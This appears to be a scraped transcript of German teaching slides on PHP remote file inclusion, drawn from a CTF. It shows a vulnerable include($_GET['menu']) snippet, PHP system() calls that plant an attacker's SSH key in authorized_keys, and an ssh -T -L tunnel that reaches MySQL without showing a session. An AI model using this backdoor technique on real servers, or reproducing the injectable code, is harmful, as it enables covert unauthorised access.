code-injection in php
Post on 03-Jan-2016
38 Views
Preview:
DESCRIPTION
TRANSCRIPT
Code-Injection in PHP
Realworld Beispiel: SSH-Public Key per Code-Injection
einbauen
Grundlagen PHP
Methoden Code dynamisch zu laden• Include() und require() sowie deren
Pendants include_once() sowie require_once()
• eval()
Hier konzentrieren wir uns aufinclude() und require(), da
gebräuchlicher.
include und require
Grob: Mittels include und require kann eine Datei geladen werden
vars.php<?php
$color = 'green';
$fruit = 'apple';
?>
test.php<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>
Einfache Programmierung?
PHP ermöglicht es den Programmierer, leicht Dateien über verschiedene Protokolle zu öffnen – Beispiel:<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
echo "<p>Unable to open remote file for writing.\n";
exit;
}
/* Write the data here. */
fwrite ($file, "My Data" . "\n");
fclose ($file);
?>
Teufelswerk allow_url_fopen
• allow_url_fopen erlaubt das Öffnen von Dateien mittels einer URL.
• Gilt nicht nur für File-Funktionen wie fopen, sondern auch für include(), require() usw.
• Ist per Default angeschaltet!
Code-Beispiel aus einem früheren CTF
myfuncs.php<?phpfunction myheader($title){ $menu = $_GET["menu"]; // [..] include($menu); // [..]}// [..]?>
Mit dem HTTP-Parameter menu wird angegeben welches Menü geladen werden soll:http://server/test.php?menu=mainmenu.php
test.php<?php
include(„myfuncs.php“);
// [..]
myheader(„test“);
// [..]
?>
Ausnutzung der Lücke
Abschluß Code-InjectionFragen?
Warum Einbau eines SSH-Public Keys
• Public Key Authentifikation – unabhängig vom User-Passwort in /etc/shadow
• SSH erlaubt Logins ohne Shell (z.B. nur Portforwarding) – normalerweise taucht eine Session auf:jtb@public:~$ whouser1 pts/1 Apr 26 10:18 (pd1234567.dip0.t-ipconnect.de)jtb pts/5 Apr 26 11:33 (x337.vpn.hrz.tu-darmstadt.de)
SSH-Verbindung ohne Shell
Beispielaufruf von SSH:ssh -T -i private.key –L 3306:localhost:3306 user@server
-T Disable pseudo-tty allocation.-i identity_file Selects a file from
which the identity (private key) for RSA or DSA authentication is read.
-L port:host:hostport Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side.
Verbindungsdiagramm
AngriffsrechnerAngriffsrechner OpferOpfer
Direkte MySQL-Verbindungen nicht möglich
Direkte MySQL-Verbindungen nicht möglich
Aber direkte SSH-Verbindung ist möglich!
Aber direkte SSH-Verbindung ist möglich!
SSHSSH
MySQLMySQL
Diese Verbindung kommt von localhost
Diese Verbindung kommt von localhost
SSH Public Key• Erstellen mit ssh-keygen:
ssh-keygen –t rsa• So sieht der private Schlüssel aus:
-----BEGIN RSA PRIVATE KEY-----MII [..] -----END RSA PRIVATE KEY-----
• Public Key wird hochgeladen, private Key bleibt bei euch!weibler@ultra18 ~/.ssh>cat authorized_keysssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFZ4xz8EnOZ9x8TpMGV9kYBohRbG+QzW3UGfSV2AynOjUxlaABatDGnCskthsm60RWSkZns7m4Oy2Loyu0XXQzLXIebkfy7cYtrFmKrAKxF6zifDBxL7bsJ0XPujYzRJ7JSCyuQ+lrldY7NseI/PbfoIhwXYIa6RRrRcxWN6VXgdGIVq9xTjgaBVHRutOmttJVKtaiejJG0I9ZAjpTsGwyKkppzxXfDFgRfzxJozQSKLZOdKRVjoqxL1vc7p0GD0aOfSkWpQIGWyO6ziwy41CUFpAdE9uZB6F9abCxZkzWdz08w2K5ONlLgCyBVb/hlDgPS9PZaBjXe3qvMrm9R8J
PHP-Code für den Einbau
Beispielhaft mit system-Calls:<?php
system(„mkdir ~/.ssh“);
system(„echo ssh-rsa [KEY] > ~/.ssh/authorized_keys“);
?>
top related